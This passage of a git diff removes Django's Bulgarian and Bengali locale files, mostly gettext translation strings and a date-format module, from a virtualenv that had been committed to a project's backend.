"dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ян." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апр." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Юни" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Юли" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Септ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноем." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "Януари" - -msgctxt "alt. month" -msgid "February" -msgstr "Февруари" - -msgctxt "alt. month" -msgid "March" -msgstr "Март" - -msgctxt "alt. month" -msgid "April" -msgstr "Април" - -msgctxt "alt. month" -msgid "May" -msgstr "Май" - -msgctxt "alt. month" -msgid "June" -msgstr "Юни" - -msgctxt "alt. month" -msgid "July" -msgstr "Юли" - -msgctxt "alt. month" -msgid "August" -msgstr "Август" - -msgctxt "alt. month" -msgid "September" -msgstr "Септември" - -msgctxt "alt. month" -msgid "October" -msgstr "Октомври" - -msgctxt "alt. month" -msgid "November" -msgstr "Ноември" - -msgctxt "alt. month" -msgid "December" -msgstr "Декември" - -msgid "This is not a valid IPv6 address." -msgstr "Въведете валиден IPv6 адрес." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "или" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d година" -msgstr[1] "%(num)d години" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d месец" -msgstr[1] "%(num)d месеца" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d седмица" -msgstr[1] "%(num)d седмици" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d ден" -msgstr[1] "%(num)d дни" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d час" -msgstr[1] "%(num)d часа" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d минута" -msgstr[1] "%(num)d минути" - -msgid "Forbidden" -msgstr "Забранен" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF проверката се провали. Заявката прекратена." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Вие виждате това съобщение, защото този HTTPS сайт изисква да бъде изпратен " -"'Referer header' от вашият уеб браузър, но такъв не бе изпратен. Този " -"header е задължителен от съображения за сигурност, за да се гарантира, че " -"вашият браузър не е компрометиран от трети страни." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ако сте настроили вашия браузър да деактивира 'Referer' headers, моля да ги " -"активирате отново, поне за този сайт, или за HTTPS връзки, или за 'same-" -"origin' заявки." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ако използвате таг или " -"включвате “Referrer-Policy: no-referrer” header, моля премахнете ги. CSRF " -"защитата изисква “Referer” header, за да извърши стриктна проверка на " -"изпращача. Ако сте притеснени за поверителността, използвайте алтернативи " -"като за връзки към сайтове на трети страни." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Вие виждате това съобщение, защото този сайт изисква CSRF бисквитка, когато " -"се подават формуляри. Тази бисквитка е задължителна от съображения за " -"сигурност, за да се гарантира, че вашият браузър не е компрометиран от трети " -"страни." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ако сте конфигурирали браузъра си да забрани бисквитките, моля да ги " -"активирате отново, поне за този сайт, или за \"same-origin\" заявки." - -msgid "More information is available with DEBUG=True." -msgstr "Повече информация е на разположение с DEBUG=True." - -msgid "No year specified" -msgstr "Не е посочена година" - -msgid "Date out of range" -msgstr "Датата е в невалиден диапазон" - -msgid "No month specified" -msgstr "Не е посочен месец" - -msgid "No day specified" -msgstr "Не е посочен ден" - -msgid "No week specified" -msgstr "Не е посочена седмица" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Няма достъпни %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Бъдещo %(verbose_name_plural)s е недостъпно, тъй като %(class_name)s." -"allow_future е False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Невалидна текстова стойност на датата “%(datestr)s” при зададен формат " -"“%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Няма %(verbose_name)s, съвпадащи със заявката" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Страницата не е \"последна\", нито може да се преобразува в цяло число." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Невалидна страница (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Празен списък и \"%(class_name)s.allow_empty\" e False." - -msgid "Directory indexes are not allowed here." -msgstr "Тук не е позволено индексиране на директория." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" не съществува" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Индекс %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Инсталацията Ви заработи успешно! Поздравления!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Разгледайте release notes за Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Вие виждате тази страница, защото DEBUG=True е във вашия файл с настройки и не сте " -"конфигурирали никакви URL-и." - -msgid "Django Documentation" -msgstr "Django документация" - -msgid "Topics, references, & how-to’s" -msgstr "Теми, наръчници, & друга документация" - -msgid "Tutorial: A Polling App" -msgstr "Урок: Приложение за анкета" - -msgid "Get started with Django" -msgstr "Започнете с Django" - -msgid "Django Community" -msgstr "Django общност" - -msgid "Connect, get help, or contribute" -msgstr "Свържете се, получете помощ или допринесете" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/bg/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c1e82c84..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 23d3edc6..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bg/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/bg/formats.py deleted file mode 100644 index ee90c5b0..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bg/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" -TIME_FORMAT = "H:i" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = " " # Non-breaking space -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.mo deleted file mode 100644 index ef52f360..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.po deleted file mode 100644 index b554f7a8..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1218 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# M Nasimul Haque , 2013 -# Tahmid Rafi , 2012-2013 -# Tahmid Rafi , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Bengali (http://www.transifex.com/django/django/language/" -"bn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "আফ্রিকার অন্যতম সরকারি ভাষা" - -msgid "Arabic" -msgstr "আরবী" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "আজারবাইজানি" - -msgid "Bulgarian" -msgstr "বুলগেরিয়ান" - -msgid "Belarusian" -msgstr "বেলারুশীয়" - -msgid "Bengali" -msgstr "বাংলা" - -msgid "Breton" -msgstr "ব্রেটন" - -msgid "Bosnian" -msgstr "বসনিয়ান" - -msgid "Catalan" -msgstr "ক্যাটালান" - -msgid "Czech" -msgstr "চেক" - -msgid "Welsh" -msgstr "ওয়েল্স" - -msgid "Danish" -msgstr "ড্যানিশ" - -msgid "German" -msgstr "জার্মান" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "গ্রিক" - -msgid "English" -msgstr "ইংলিশ" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "বৃটিশ ইংলিশ" - -msgid "Esperanto" -msgstr "আন্তর্জাতিক ভাষা" - -msgid "Spanish" -msgstr "স্প্যানিশ" - -msgid "Argentinian Spanish" -msgstr "আর্জেন্টিনিয়ান স্প্যানিশ" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "মেক্সিকান স্প্যানিশ" - -msgid "Nicaraguan Spanish" -msgstr "নিকারাগুয়ান স্প্যানিশ" - -msgid "Venezuelan Spanish" -msgstr "ভেনেজুয়েলার স্প্যানিশ" - -msgid "Estonian" -msgstr "এস্তোনিয়ান" - -msgid "Basque" -msgstr "বাস্ক" - -msgid "Persian" -msgstr "ফারসি" - -msgid "Finnish" -msgstr "ফিনিশ" - -msgid "French" -msgstr "ফ্রেঞ্চ" - -msgid "Frisian" -msgstr "ফ্রিজ্ল্যানডের ভাষা" - -msgid "Irish" -msgstr "আইরিশ" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "গ্যালিসিয়ান" - -msgid "Hebrew" -msgstr "হিব্রু" - -msgid "Hindi" -msgstr "হিন্দী" - -msgid "Croatian" -msgstr "ক্রোয়েশিয়ান" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "হাঙ্গেরিয়ান" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "ইন্দোনেশিয়ান" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "আইসল্যান্ডিক" - -msgid "Italian" -msgstr "ইটালিয়ান" - -msgid "Japanese" -msgstr "জাপানিজ" - -msgid "Georgian" -msgstr "জর্জিয়ান" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "কাজাখ" - -msgid "Khmer" -msgstr "খমার" - -msgid "Kannada" -msgstr "কান্নাড়া" - -msgid "Korean" -msgstr "কোরিয়ান" - -msgid "Luxembourgish" -msgstr "লুক্সেমবার্গীয়" - -msgid "Lithuanian" -msgstr "লিথুয়ানিয়ান" - -msgid "Latvian" -msgstr "লাটভিয়ান" - -msgid "Macedonian" -msgstr "ম্যাসাডোনিয়ান" - -msgid "Malayalam" -msgstr "মালায়ালম" - -msgid "Mongolian" -msgstr "মঙ্গোলিয়ান" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "বার্মিজ" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "নেপালি" - -msgid "Dutch" -msgstr "ডাচ" - -msgid "Norwegian Nynorsk" -msgstr "নরওয়েজীয়ান নিনর্স্ক" - -msgid "Ossetic" -msgstr "অসেটিক" - -msgid "Punjabi" -msgstr "পাঞ্জাবী" - -msgid "Polish" -msgstr "পোলিশ" - -msgid "Portuguese" -msgstr "পর্তুগীজ" - -msgid "Brazilian Portuguese" -msgstr "ব্রাজিলিয়ান পর্তুগীজ" - -msgid "Romanian" -msgstr "রোমানিয়ান" - -msgid "Russian" -msgstr "রাশান" - -msgid "Slovak" -msgstr "স্লোভাক" - -msgid "Slovenian" -msgstr "স্লোভেনিয়ান" - -msgid "Albanian" -msgstr "আলবেনীয়ান" - -msgid "Serbian" -msgstr "সার্বিয়ান" - -msgid "Serbian Latin" -msgstr "সার্বিয়ান ল্যাটিন" - -msgid "Swedish" -msgstr "সুইডিশ" - -msgid "Swahili" -msgstr "সোয়াহিলি" - -msgid "Tamil" -msgstr "তামিল" - -msgid "Telugu" -msgstr "তেলেগু" - -msgid "Thai" -msgstr "থাই" - -msgid "Turkish" -msgstr "তুর্কি" - -msgid "Tatar" -msgstr "তাতারদেশীয়" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ইউক্রেনিয়ান" - -msgid "Urdu" -msgstr "উর্দু" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "ভিয়েতনামিজ" - -msgid "Simplified Chinese" -msgstr "সরলীকৃত চাইনীজ" - -msgid "Traditional Chinese" -msgstr "প্রচলিত চাইনীজ" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "একটি বৈধ মান দিন।" - -msgid "Enter a valid URL." -msgstr "বৈধ URL দিন" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "একটি বৈধ ইমেইল ঠিকানা লিখুন." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "একটি বৈধ IPv4 ঠিকানা দিন।" - -msgid "Enter a valid IPv6 address." -msgstr "একটি বৈধ IPv6 ঠিকানা টাইপ করুন।" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "একটি বৈধ IPv4 অথবা IPv6 ঠিকানা টাইপ করুন।" - -msgid "Enter only digits separated by commas." -msgstr "শুধুমাত্র কমা দিয়ে সংখ্যা দিন।" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "সংখ্যাটির মান %(limit_value)s হতে হবে (এটা এখন %(show_value)s আছে)।" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "সংখ্যাটির মান %(limit_value)s এর চেয়ে ছোট বা সমান হতে হবে।" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "সংখ্যাটির মান %(limit_value)s এর চেয়ে বড় বা সমান হতে হবে।" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "একটি সংখ্যা প্রবেশ করান।" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "এবং" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "এর মান null হতে পারবে না।" - -msgid "This field cannot be blank." -msgstr "এই ফিল্ডের মান ফাঁকা হতে পারে না" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s সহ %(model_name)s আরেকটি রয়েছে।" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "ফিল্ডের ধরণ: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "বুলিয়ান (হয় True অথবা False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "স্ট্রিং (সর্বোচ্চ %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "কমা দিয়ে আলাদা করা ইন্টিজার" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "তারিখ (সময় বাদে)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "তারিখ (সময় সহ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "দশমিক সংখ্যা" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "ইমেইল ঠিকানা" - -msgid "File path" -msgstr "ফাইল পথ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "ফ্লোটিং পয়েন্ট সংখ্যা" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "ইন্টিজার" - -msgid "Big (8 byte) integer" -msgstr "বিগ (৮ বাইট) ইন্টিজার" - -msgid "IPv4 address" -msgstr "IPv4 ঠিকানা" - -msgid "IP address" -msgstr "আইপি ঠিকানা" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "বুলিয়ান (হয় True, False অথবা None)" - -msgid "Positive integer" -msgstr "পজিটিভ ইন্টিজার" - -msgid "Positive small integer" -msgstr "পজিটিভ স্মল ইন্টিজার" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "স্লাগ (সর্বোচ্চ %(max_length)s)" - -msgid "Small integer" -msgstr "স্মল ইন্টিজার" - -msgid "Text" -msgstr "টেক্সট" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "সময়" - -msgid "URL" -msgstr "ইউআরএল (URL)" - -msgid "Raw binary data" -msgstr "র বাইনারি ডাটা" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "ফাইল" - -msgid "Image" -msgstr "ইমেজ" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "ফরেন কি (টাইপ রিলেটেড ফিল্ড দ্বারা নির্ণীত হবে)" - -msgid "One-to-one relationship" -msgstr "ওয়ান-টু-ওয়ান রিলেশানশিপ" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "ম্যানি-টু-ম্যানি রিলেশানশিপ" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "এটি আবশ্যক।" - -msgid "Enter a whole number." -msgstr "একটি পূর্ণসংখ্যা দিন" - -msgid "Enter a valid date." -msgstr "বৈধ তারিখ দিন।" - -msgid "Enter a valid time." -msgstr "বৈধ সময় দিন।" - -msgid "Enter a valid date/time." -msgstr "বৈধ তারিখ/সময় দিন।" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "কোন ফাইল দেয়া হয়নি। ফর্মের এনকোডিং ঠিক আছে কিনা দেখুন।" - -msgid "No file was submitted." -msgstr "কোন ফাইল দেয়া হয়নি।" - -msgid "The submitted file is empty." -msgstr "ফাইলটি খালি।" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"একটি ফাইল সাবমিট করুন অথবা ক্লিয়ার চেকবক্সটি চেক করে দিন, যে কোন একটি করুন।" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"সঠিক ছবি আপলোড করুন। যে ফাইলটি আপলোড করা হয়েছে তা হয় ছবি নয় অথবা নষ্ট হয়ে " -"যাওয়া ছবি।" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "%(value)s বৈধ নয়। অনুগ্রহ করে আরেকটি সিলেক্ট করুন।" - -msgid "Enter a list of values." -msgstr "কয়েকটি মানের তালিকা দিন।" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ক্রম" - -msgid "Delete" -msgstr "মুছুন" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "এটি বৈধ নয়। অনুগ্রহ করে আরেকটি সিলেক্ট করুন।" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "পরিষ্কার করুন" - -msgid "Currently" -msgstr "এই মুহুর্তে" - -msgid "Change" -msgstr "পরিবর্তন" - -msgid "Unknown" -msgstr "অজানা" - -msgid "Yes" -msgstr "হ্যাঁ" - -msgid "No" -msgstr "না" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "হ্যাঁ,না,হয়তো" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d বাইট" -msgstr[1] "%(size)d বাইট" - -#, python-format -msgid "%s KB" -msgstr "%s কিলোবাইট" - -#, python-format -msgid "%s MB" -msgstr "%s মেগাবাইট" - -#, python-format -msgid "%s GB" -msgstr "%s গিগাবাইট" - -#, python-format -msgid "%s TB" -msgstr "%s টেরাবাইট" - -#, python-format -msgid "%s PB" -msgstr "%s পেটাবাইট" - -msgid "p.m." -msgstr "অপরাহ্ন" - -msgid "a.m." -msgstr "পূর্বাহ্ন" - -msgid "PM" -msgstr "অপরাহ্ন" - -msgid "AM" -msgstr "পূর্বাহ্ন" - -msgid "midnight" -msgstr "মধ্যরাত" - -msgid "noon" -msgstr "দুপুর" - -msgid "Monday" -msgstr "সোমবার" - -msgid "Tuesday" -msgstr "মঙ্গলবার" - -msgid "Wednesday" -msgstr "বুধবার" - -msgid "Thursday" -msgstr "বৃহস্পতিবার" - -msgid "Friday" -msgstr "শুক্রবার" - -msgid "Saturday" -msgstr "শনিবার" - -msgid "Sunday" -msgstr "রবিবার" - -msgid "Mon" -msgstr "সোম" - -msgid "Tue" -msgstr "মঙ্গল" - -msgid "Wed" -msgstr "বুধ" - -msgid "Thu" -msgstr "বৃহঃ" - -msgid "Fri" -msgstr "শুক্র" - -msgid "Sat" -msgstr "শনি" - -msgid "Sun" -msgstr "রবি" - -msgid "January" -msgstr "জানুয়ারি" - -msgid "February" -msgstr "ফেব্রুয়ারি" - -msgid "March" -msgstr "মার্চ" - -msgid "April" -msgstr "এপ্রিল" - -msgid "May" -msgstr "মে" - -msgid "June" -msgstr "জুন" - -msgid "July" -msgstr "জুলাই" - -msgid "August" -msgstr "আগস্ট" - -msgid "September" -msgstr "সেপ্টেম্বর" - -msgid "October" -msgstr "অক্টোবর" - -msgid "November" -msgstr "নভেম্বর" - -msgid "December" -msgstr "ডিসেম্বর" - -msgid "jan" -msgstr "জান." - -msgid "feb" -msgstr "ফেব." - -msgid "mar" -msgstr "মার্চ" - -msgid "apr" -msgstr "এপ্রি." - -msgid "may" -msgstr "মে" - -msgid "jun" -msgstr "জুন" - -msgid "jul" -msgstr "জুল." - -msgid "aug" -msgstr "আগ." - -msgid "sep" -msgstr "সেপ্টে." - -msgid "oct" -msgstr "অক্টো." - -msgid "nov" -msgstr "নভে." - -msgid "dec" -msgstr "ডিসে." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "জানু." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ফেব্রু." - -msgctxt "abbrev. month" -msgid "March" -msgstr "মার্চ" - -msgctxt "abbrev. month" -msgid "April" -msgstr "এপ্রিল" - -msgctxt "abbrev. month" -msgid "May" -msgstr "মে" - -msgctxt "abbrev. month" -msgid "June" -msgstr "জুন" - -msgctxt "abbrev. month" -msgid "July" -msgstr "জুলাই" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "আগ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "সেপ্ট." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "অক্টো." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "নভে." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ডিসে." - -msgctxt "alt. month" -msgid "January" -msgstr "জানুয়ারি" - -msgctxt "alt. month" -msgid "February" -msgstr "ফেব্রুয়ারি" - -msgctxt 